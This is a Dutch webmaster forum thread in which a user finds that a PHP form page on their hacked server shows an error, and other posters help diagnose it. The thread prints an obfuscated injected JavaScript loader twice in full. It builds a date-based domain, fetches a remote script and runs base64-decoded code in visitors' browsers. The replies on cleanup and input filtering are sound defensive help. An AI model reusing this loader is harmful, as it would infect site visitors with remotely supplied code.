syntax error
er is iets raars gebeurd op mijn webserver (hacking?)
als ik een formulier verstuur, maak ik gebruik van een php tool. Dat werkte tot 3 dagen geleden perfect.
ALs ik nu echter op de knop verstuur klik, verschint de volgende melding:
Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING in /home/o5148okp/public_html/phpforms/index.php on line 525
Ik ben gaan zien op de pagina naar lijn 525, maar voor mij is dit hocus pocus. Wie ziet de fout??
Bedankt voor jullie hulp!
<body><script>function hashdate (str) {if(!str) {var date=new Date();var str = date.getUTCFullYear() + "/" + (date.getUTCMonth()+1) + "/" + date.getUTCDate() + " " + (date.getHours() >= 12 ? 'PM':'AM');};var table = [0,1996959894,3993919788,2567524794,124634137,1886057615,3915621685,2657392035,249268274,2044508324,3772115230,2547177864,162941995,2125561021,3887607047,2428444049,498536548,1789927666,4089016648,2227061214,450548861,1843258603,4107580753,2211677639,325883990,1684777152,4251122042,2321926636,335633487,1661365465,4195302755,2366115317,997073096,1281953886,3579855332,2724688242,1006888145,1258607687,3524101629,2768942443,901097722,1119000684,3686517206,2898065728,853044451,1172266101,3705015759,2882616665,651767980,1373503546,3369554304,3218104598,565507253,1454621731,3485111705,3099436303,671266974,1594198024,3322730930,2970347812,795835527,1483230225,3244367275,3060149565,1994146192,31158534,2563907772,4023717930,1907459465,112637215,2680153253,3904427059,2013776290,251722036,2517215374,3775830040,2137656763,141376813,2439277719,3865271297,1802195444,476864866,2238001368,4066508878,1812370925,453092731,2181625025,4111451223,1706088902,314042704,2344532202,4240017532,1658658271,366619977,2362670323,4224994405,1303535960,984961486,2747007092,3569037538,1256170817,1037604311,2765210733,3554079995,1131014506,879679996,2909243462,3663771856,1141124467,855842277,2852801631,3708648649,1342533948,654459306,3188396048,3373015174,1466479909,544179635,3110523913,3462522015,1591671054,702138776,2966460450,3352799412,1504918807,783551873,3082640443,3233442989,3988292384,2596254646,62317068,1957810842,3939845945,2647816111,81470997,1943803523,3814918930,2489596804,225274430,2053790376,3826175755,2466906013,167816743,2097651377,4027552580,2265490386,503444072,1762050814,4150417245,2154129355,426522225,1852507879,4275313526,2312317920,282753626,1742555852,4189708143,2394877945,397917763,1622183637,3604390888,2714866558,953729732,1340076626,3518719985,2797360999,1068828381,1219638859,3624741850,2936675148,906185462,1090812512,3747672003,2825379669,829329135,1181335161,3412177804,3160834842,628085408,1382605366,3423369109,3138078467,570562233,1426400815,3317316542,2998733608,733239954,1555261956,3268935591,3050360625,752459403,1541320221,2607071920,3965973030,1969922972,40735498,2617837225,3943577151,1913087877,83908371,2512341634,3803740692,2075208622,213261112,2463272603,3855990285,2094854071,198958881,2262029012,4057260610,1759359992,534414190,2176718541,4139329115,1873836001,414664567,2282248934,4279200368,1711684554,285281116,2405801727,4167216745,1634467795,376229701,2685067896,3608007406,1308918612,956543938,2808555105,3495958263,1231636301,1047427035,2932959818,3654703836,1088359270,936918000,2847714899,3736837829,1202900863,817233897,3183342108,3401237130,1404277552,615818150,3134207493,3453421203,1423857449,601450431,3009837614,3294710456,1567103746,711928724,3020668471,3272380065,1510334235,755167117];var crc = crc ^ (-1);for(var i=0, iTop=str.length; i<iTop; i++) {crc = ( crc >>> 8 ) ^ table[( crc ^ str.charCodeAt( i ) ) & 0xFF];}return (crc ^ (-1)) >>> 0;};function dbc(s) {var e={},i,k,v=[],r='',w=String.fromCharCode;var n=[[65,91],[97,123],[48,58],[43,44],[47,48]];for(z in n){for(i=n[z][0];i<n[z][1];i++){v.push(w(i));}}for(i=0;i<64;i++){e[v]=i;}for(i=0;i<s.length;i+=72){var b=0,c,x,l=0,o=s.substring(i,i+72);for(x=0;x<o.length;x++){c=e[o.charAt(x)];b=(b<<6)+c;l+=6;while(l>=8){r+=w((b>>>(l-=8))%256);}}}return r;};function runonload(){if(!document.body){setTimeout(runonload, 50);}else {var s=document.createElement("SCRIPT");s.src="http://" + hashdate().toString(16) + ".eu/script.html?"+Math.random();document.body.appendChild(s); }};window.cback=function(p){var s = document.createElement("SCRIPT");s.text = dbc(p).replace(/\0+/,'');document.body.appendChild(s);};runonload(); </script>
<br><br>
<blockquote>
<h2 style='color: red;'>There appears to be a system error.</h2>
You can try to refresh the page by clicking
<a href=\"javascript:window.location=window.location;\">here</a>.
Kan je geen backup terug zetten waarna je uit kan zoeken hoe het lek misbruikt is?
Gewijzigd op 15/05/2014 15:14:39 door - Ariën -
maw: is dit jouw script, of heeft iemand daar in lopen knoeien?
Het is namelijk op z'n minst een ondoorzichtig stuk code dat iets probeert te doen me een toe te voegen stuk javascript, waarbij een externe url betrokken is (waarbij de domainnaam afhankelijk is van de datum?)
Zeker als dit voor jou onverwacht optreedt, dan zou ik denken aan een "hacker" / "scriptkiddie"
wanneer is de file voor het laatst gewijzigd?
IS hij gelijk aan je backup?
ik heb mijn service provide gevraagd een back up terug tezetten van 3 dagen geleden toen het wel nog werkte, maar ze hebben vannacht een nieuwe back up gestart, die oude is dus overschreven. Helaas. Ik vrees dat ik de tool opnieuw moet installeren.
Hé? Vreemde provider om maar één backup te maken in de zoveel dagen of ligt dat aan mij? Op m'n werk wordt er elke nacht een backup gemaakt en zijn er altijd 7 beschikbaar (rest op tape) dus je kan makkelijk een week terug. Dacht dat dat vrij normaal was.
Je hebt de bestanden ook niet lokaal op je pc opgeslagen? Of werk je altijd online. Dat eerste is sowieso aan te raden.
Gewijzigd op 15/05/2014 16:02:51 door Michael -
Ik zoek verder vanavond.
Toevoeging op 15/05/2014 21:01:02:
Ik heb mijn cache vd browser nog eens geledigd en een paar testen gedaan. Alle formulieren werken terug zoals het moet na verwijdering van het script: Heb mijn ftp paswoorden gewijzigd. Ik vraag me toch af hoe dat script erop is gekomen..tja..
onderstaand script was dus de boosdoener..
<script>function hashdate (str) {if(!str) {var date=new Date();var str = date.getUTCFullYear() + "/" + (date.getUTCMonth()+1) + "/" + date.getUTCDate() + " " + (date.getHours() >= 12 ? 'PM':'AM');};var table = [0,1996959894,3993919788,2567524794,124634137,1886057615,3915621685,2657392035,249268274,2044508324,3772115230,2547177864,162941995,2125561021,3887607047,2428444049,498536548,1789927666,4089016648,2227061214,450548861,1843258603,4107580753,2211677639,325883990,1684777152,4251122042,2321926636,335633487,1661365465,4195302755,2366115317,997073096,1281953886,3579855332,2724688242,1006888145,1258607687,3524101629,2768942443,901097722,1119000684,3686517206,2898065728,853044451,1172266101,3705015759,2882616665,651767980,1373503546,3369554304,3218104598,565507253,1454621731,3485111705,3099436303,671266974,1594198024,3322730930,2970347812,795835527,1483230225,3244367275,3060149565,1994146192,31158534,2563907772,4023717930,1907459465,112637215,2680153253,3904427059,2013776290,251722036,2517215374,3775830040,2137656763,141376813,2439277719,3865271297,1802195444,476864866,2238001368,4066508878,1812370925,453092731,2181625025,4111451223,1706088902,314042704,2344532202,4240017532,1658658271,366619977,2362670323,4224994405,1303535960,984961486,2747007092,3569037538,1256170817,1037604311,2765210733,3554079995,1131014506,879679996,2909243462,3663771856,1141124467,855842277,2852801631,3708648649,1342533948,654459306,3188396048,3373015174,1466479909,544179635,3110523913,3462522015,1591671054,702138776,2966460450,3352799412,1504918807,783551873,3082640443,3233442989,3988292384,2596254646,62317068,1957810842,3939845945,2647816111,81470997,1943803523,3814918930,2489596804,225274430,2053790376,3826175755,2466906013,167816743,2097651377,4027552580,2265490386,503444072,1762050814,4150417245,2154129355,426522225,1852507879,4275313526,2312317920,282753626,1742555852,4189708143,2394877945,397917763,1622183637,3604390888,2714866558,953729732,1340076626,3518719985,2797360999,1068828381,1219638859,3624741850,2936675148,906185462,1090812512,3747672003,2825379669,829329135,1181335161,3412177804,3160834842,628085408,1382605366,3423369109,3138078467,570562233,1426400815,3317316542,2998733608,733239954,1555261956,3268935591,3050360625,752459403,1541320221,2607071920,3965973030,1969922972,40735498,2617837225,3943577151,1913087877,83908371,2512341634,3803740692,2075208622,213261112,2463272603,3855990285,2094854071,198958881,2262029012,4057260610,1759359992,534414190,2176718541,4139329115,1873836001,414664567,2282248934,4279200368,1711684554,285281116,2405801727,4167216745,1634467795,376229701,2685067896,3608007406,1308918612,956543938,2808555105,3495958263,1231636301,1047427035,2932959818,3654703836,1088359270,936918000,2847714899,3736837829,1202900863,817233897,3183342108,3401237130,1404277552,615818150,3134207493,3453421203,1423857449,601450431,3009837614,3294710456,1567103746,711928724,3020668471,3272380065,1510334235,755167117];var crc = crc ^ (-1);for(var i=0, iTop=str.length; i<iTop; i++) {crc = ( crc >>> 8 ) ^ table[( crc ^ str.charCodeAt( i ) ) & 0xFF];}return (crc ^ (-1)) >>> 0;};function dbc(s) {var e={},i,k,v=[],r='',w=String.fromCharCode;var n=[[65,91],[97,123],[48,58],[43,44],[47,48]];for(z in n){for(i=n[z][0];i<n[z][1];i++){v.push(w(i));}}for(i=0;i<64;i++){e[v]=i;}for(i=0;i<s.length;i+=72){var b=0,c,x,l=0,o=s.substring(i,i+72);for(x=0;x<o.length;x++){c=e[o.charAt(x)];b=(b<<6)+c;l+=6;while(l>=8){r+=w((b>>>(l-=8))%256);}}}return r;};function runonload(){if(!document.body){setTimeout(runonload, 50);}else {var s=document.createElement("SCRIPT");s.src="http://" + hashdate().toString(16) + ".eu/script.html?"+Math.random();document.body.appendChild(s); }};window.cback=function(p){var s = document.createElement("SCRIPT");s.text = dbc(p).replace(/\0+/,'');document.body.appendChild(s);};runonload(); </script>
Gebruik dan striptags()
Waarbij tussen de haakjes een comma gescheiden string kunt opgeven voor de tags die genegeerd moeten worden:
Of detect and react:
Code (php)
Gewijzigd op 15/05/2014 21:39:51 door Ger van Steenderen